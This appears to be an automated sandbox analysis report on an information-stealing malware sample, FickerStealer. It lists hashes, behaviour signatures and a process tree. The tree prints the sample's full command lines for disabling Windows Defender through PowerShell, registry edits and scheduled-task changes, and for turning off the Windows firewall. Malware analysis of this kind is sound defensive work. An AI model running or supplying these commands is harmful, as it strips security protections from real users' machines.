Analysis

  • max time kernel
    66s
  • max time network
    52s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    28-01-2021 10:48

General

  • Target

    FickerStealer.exe

  • Size

    307KB

  • MD5

    1c213dbc2e5f8646d4c30586b7bcb3d8

  • SHA1

    7a7c24e9bde5666de8763232d9ffa012fe9d18cd

  • SHA256

    90929f4e6bd28d6a197fef323930502ac1a3dcc9de8d4dba02dc6702fd570e14

  • SHA512

    e4b5bf282c771e1ce7152fabd5a44ecd094d5a6b0a61c26d0e25f9df15b55a6efaeaeca6a4f52a84d8d5859b6d3d2e8f15280f619edbc7c5ac4321d2359067da

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • JavaScript code in executable 6 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Uses Tor communications 1 TTPs

    Malware can proxy its traffic through Tor for more anonymity.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 681 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 199 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\FickerStealer.exe
    "C:\Users\Admin\AppData\Local\Temp\FickerStealer.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1044
    • C:\Users\Admin\AppData\Local\Temp\FickerStealer.exe
      "C:\Users\Admin\AppData\Local\Temp\FickerStealer.exe"
      2⤵
      • Loads dropped DLL
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2016
      • C:\Users\Admin\AppData\Local\Temp\1611834708978.exe
        "C:\Users\Admin\AppData\Local\Temp\1611834708978.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1484
        • C:\Windows\system32\cmd.exe
          "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\49BD.tmp\49BE.tmp\49BF.bat C:\Users\Admin\AppData\Local\Temp\1611834708978.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:616
          • C:\Program Files\Windows Defender\MpCmdRun.exe
            "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true
            5⤵
              PID:552
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1672
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1824
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1964
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:568
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:588
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1540
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1148
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1780
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1992
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1880
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -MAPSReporting 0"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1608
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1476
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1248
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1340
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1824
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -command "Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:888
              • C:\Windows\system32\reg.exe
                "C:\Windows\system32\reg.exe" add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                6⤵
                  PID:1724
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -command "REG ADD ΓÇ£hklm\software\policies\microsoft\windows defenderΓÇ¥ /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
                5⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:1216
                • C:\Windows\system32\reg.exe
                  "C:\Windows\system32\reg.exe" ADD ΓÇ£hklm\software\policies\microsoft\windows defenderΓÇ¥ /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                  6⤵
                    PID:1240
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -command "netsh advfirewall set allprofiles state off"
                  5⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2024
                  • C:\Windows\system32\netsh.exe
                    "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
                    6⤵
                      PID:1656
                  • C:\Windows\system32\reg.exe
                    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                    5⤵
                      PID:1340
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                      5⤵
                        PID:672
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                        5⤵
                          PID:108
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                          5⤵
                            PID:1636
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                            5⤵
                              PID:932
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                              5⤵
                                PID:1120
                              • C:\Windows\system32\reg.exe
                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                5⤵
                                  PID:344
                                • C:\Windows\system32\reg.exe
                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                  5⤵
                                    PID:1824
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                    5⤵
                                      PID:1376
                                    • C:\Windows\system32\reg.exe
                                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                      5⤵
                                        PID:820
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                        5⤵
                                          PID:668
                                        • C:\Windows\system32\reg.exe
                                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                          5⤵
                                            PID:1072
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                                            5⤵
                                              PID:976
                                            • C:\Windows\system32\reg.exe
                                              reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                              5⤵
                                                PID:788
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                5⤵
                                                  PID:552
                                                • C:\Windows\system32\schtasks.exe
                                                  schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                  5⤵
                                                    PID:888
                                                  • C:\Windows\system32\schtasks.exe
                                                    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                    5⤵
                                                      PID:368
                                                    • C:\Windows\system32\schtasks.exe
                                                      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                      5⤵
                                                        PID:748
                                                      • C:\Windows\system32\schtasks.exe
                                                        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                        5⤵
                                                          PID:1604
                                                        • C:\Windows\system32\schtasks.exe
                                                          schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                          5⤵
                                                            PID:1976
                                                          • C:\Windows\system32\reg.exe
                                                            reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                                            5⤵
                                                              PID:2040
                                                            • C:\Windows\system32\reg.exe
                                                              reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                                              5⤵
                                                                PID:2044
                                                              • C:\Windows\system32\reg.exe
                                                                reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                5⤵
                                                                  PID:1292
                                                                • C:\Windows\system32\reg.exe
                                                                  reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                  5⤵
                                                                    PID:1828
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                    5⤵
                                                                      PID:1704
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                      5⤵
                                                                        PID:2016
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                        5⤵
                                                                          PID:1944
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                          5⤵
                                                                            PID:1696
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                            5⤵
                                                                              PID:736
                                                                            • C:\Windows\system32\reg.exe
                                                                              reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                              5⤵
                                                                              • Modifies security service
                                                                              PID:2036
                                                                        • C:\Users\Admin\AppData\Local\Temp\1611834709056.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\1611834709056.exe"
                                                                          3⤵
                                                                          • Executes dropped EXE
                                                                          • Loads dropped DLL
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          • Suspicious use of WriteProcessMemory
                                                                          PID:908
                                                                          • C:\Users\Admin\AppData\Local\Temp\1611834709056.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\1611834709056.exe"
                                                                            4⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of SetWindowsHookEx
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:2024
                                                                            • C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe"
                                                                              5⤵
                                                                              • Executes dropped EXE
                                                                              PID:2040
                                                                    • C:\Windows\SysWOW64\DllHost.exe
                                                                      C:\Windows\SysWOW64\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}
                                                                      1⤵
                                                                      • Drops startup file
                                                                      PID:1384

                                                                    Network

                                                                    MITRE ATT&CK Enterprise v6

                                                                    Replay Monitor

                                                                    Loading Replay Monitor...

                                                                    Downloads

                                                                    • memory/568-98-0x000007FEF4780000-0x000007FEF516C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/568-100-0x000000001AB00000-0x000000001AB02000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/568-102-0x000000001AB04000-0x000000001AB06000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/588-108-0x000007FEF5170000-0x000007FEF5B5C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/588-111-0x000000001A950000-0x000000001A952000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/588-112-0x000000001A954000-0x000000001A956000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/888-224-0x000000001AC04000-0x000000001AC06000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/888-223-0x000000001AC00000-0x000000001AC02000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/888-220-0x000007FEF4780000-0x000007FEF516C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/908-33-0x0000000000200000-0x000000000027B000-memory.dmp

                                                                      Filesize

                                                                      492KB

                                                                    • memory/908-42-0x0000000002F00000-0x0000000003080000-memory.dmp

                                                                      Filesize

                                                                      1.5MB

                                                                    • memory/1044-7-0x0000000000220000-0x0000000000265000-memory.dmp

                                                                      Filesize

                                                                      276KB

                                                                    • memory/1044-2-0x0000000003730000-0x0000000003741000-memory.dmp

                                                                      Filesize

                                                                      68KB

                                                                    • memory/1148-133-0x000000001AC34000-0x000000001AC36000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1148-132-0x000000001AC30000-0x000000001AC32000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1148-129-0x000007FEF5170000-0x000007FEF5B5C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/1216-231-0x000007FEF5170000-0x000007FEF5B5C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/1216-234-0x000000001AD30000-0x000000001AD32000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1216-235-0x000000001AD34000-0x000000001AD36000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1248-190-0x000007FEF5170000-0x000007FEF5B5C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/1248-193-0x000000001AAF0000-0x000000001AAF2000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1248-194-0x000000001AAF4000-0x000000001AAF6000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1340-205-0x000000001AB44000-0x000000001AB46000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1340-204-0x000000001AB40000-0x000000001AB42000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1340-202-0x000000001ABC0000-0x000000001ABC1000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1340-201-0x0000000002480000-0x0000000002481000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1340-200-0x000007FEF4780000-0x000007FEF516C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/1476-180-0x000007FEF4780000-0x000007FEF516C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/1476-184-0x000000001AC60000-0x000000001AC62000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1476-185-0x000000001AC64000-0x000000001AC66000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1484-17-0x0000000003110000-0x0000000003121000-memory.dmp

                                                                      Filesize

                                                                      68KB

                                                                    • memory/1484-26-0x0000000000400000-0x000000000041B000-memory.dmp

                                                                      Filesize

                                                                      108KB

                                                                    • memory/1484-24-0x0000000000230000-0x0000000000248000-memory.dmp

                                                                      Filesize

                                                                      96KB

                                                                    • memory/1540-119-0x000007FEF4780000-0x000007FEF516C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/1540-123-0x0000000002510000-0x0000000002512000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1540-124-0x0000000002514000-0x0000000002516000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1580-6-0x000007FEF77C0000-0x000007FEF7A3A000-memory.dmp

                                                                      Filesize

                                                                      2.5MB

                                                                    • memory/1608-170-0x000007FEF5170000-0x000007FEF5B5C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/1608-173-0x000000001ABB0000-0x000000001ABB2000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1608-174-0x000000001ABB4000-0x000000001ABB6000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1672-29-0x0000000002480000-0x0000000002482000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1672-49-0x00000000028C0000-0x00000000028C1000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1672-32-0x0000000002460000-0x0000000002461000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1672-31-0x00000000025D0000-0x00000000025D1000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1672-64-0x0000000002A00000-0x0000000002A01000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1672-27-0x0000000002590000-0x0000000002591000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1672-28-0x000000001AC70000-0x000000001AC71000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1672-65-0x000000001AAD0000-0x000000001AAD1000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1672-30-0x0000000002484000-0x0000000002486000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1672-52-0x000000001AA90000-0x000000001AA91000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1672-23-0x000007FEFB851000-0x000007FEFB853000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1672-25-0x000007FEF5170000-0x000007FEF5B5C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/1780-139-0x000007FEF4780000-0x000007FEF516C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/1780-144-0x000000001AD04000-0x000000001AD06000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1780-142-0x000000001AD00000-0x000000001AD02000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1824-214-0x000000001ABD0000-0x000000001ABD2000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1824-215-0x000000001ABD4000-0x000000001ABD6000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1824-216-0x0000000002370000-0x0000000002371000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1824-74-0x0000000002390000-0x0000000002391000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1824-213-0x0000000002450000-0x0000000002451000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1824-73-0x000000001ACF4000-0x000000001ACF6000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1824-71-0x000000001AD70000-0x000000001AD71000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1824-72-0x000000001ACF0000-0x000000001ACF2000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1824-76-0x00000000022F0000-0x00000000022F1000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1824-210-0x000007FEF5170000-0x000007FEF5B5C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/1824-69-0x000007FEF4780000-0x000007FEF516C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/1824-70-0x00000000024C0000-0x00000000024C1000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1880-164-0x000000001AD94000-0x000000001AD96000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1880-159-0x000007FEF4780000-0x000007FEF516C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/1880-163-0x000000001AD90000-0x000000001AD92000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1880-165-0x00000000024D0000-0x00000000024D1000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1964-93-0x000000001AC34000-0x000000001AC36000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1964-92-0x000000001AC30000-0x000000001AC32000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1964-88-0x000007FEF5170000-0x000007FEF5B5C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/1992-153-0x000000001ADD4000-0x000000001ADD6000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1992-151-0x000000001AE50000-0x000000001AE51000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1992-155-0x00000000024A0000-0x00000000024A1000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1992-154-0x0000000002540000-0x0000000002541000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/1992-152-0x000000001ADD0000-0x000000001ADD2000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/1992-149-0x000007FEF5170000-0x000007FEF5B5C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/2016-5-0x00000000760A1000-0x00000000760A3000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/2016-8-0x0000000000400000-0x0000000000448000-memory.dmp

                                                                      Filesize

                                                                      288KB

                                                                    • memory/2016-3-0x0000000000400000-0x0000000000448000-memory.dmp

                                                                      Filesize

                                                                      288KB

                                                                    • memory/2024-38-0x0000000000400000-0x000000000045A000-memory.dmp

                                                                      Filesize

                                                                      360KB

                                                                    • memory/2024-242-0x000007FEF4780000-0x000007FEF516C000-memory.dmp

                                                                      Filesize

                                                                      9.9MB

                                                                    • memory/2024-246-0x000000001AC64000-0x000000001AC66000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/2024-43-0x00000000000B0000-0x00000000000B1000-memory.dmp

                                                                      Filesize

                                                                      4KB

                                                                    • memory/2024-245-0x000000001AC60000-0x000000001AC62000-memory.dmp

                                                                      Filesize

                                                                      8KB

                                                                    • memory/2024-44-0x0000000000400000-0x000000000045A000-memory.dmp

                                                                      Filesize

                                                                      360KB

                                                                    • memory/2024-45-0x00000000002D0000-0x0000000000379000-memory.dmp

                                                                      Filesize

                                                                      676KB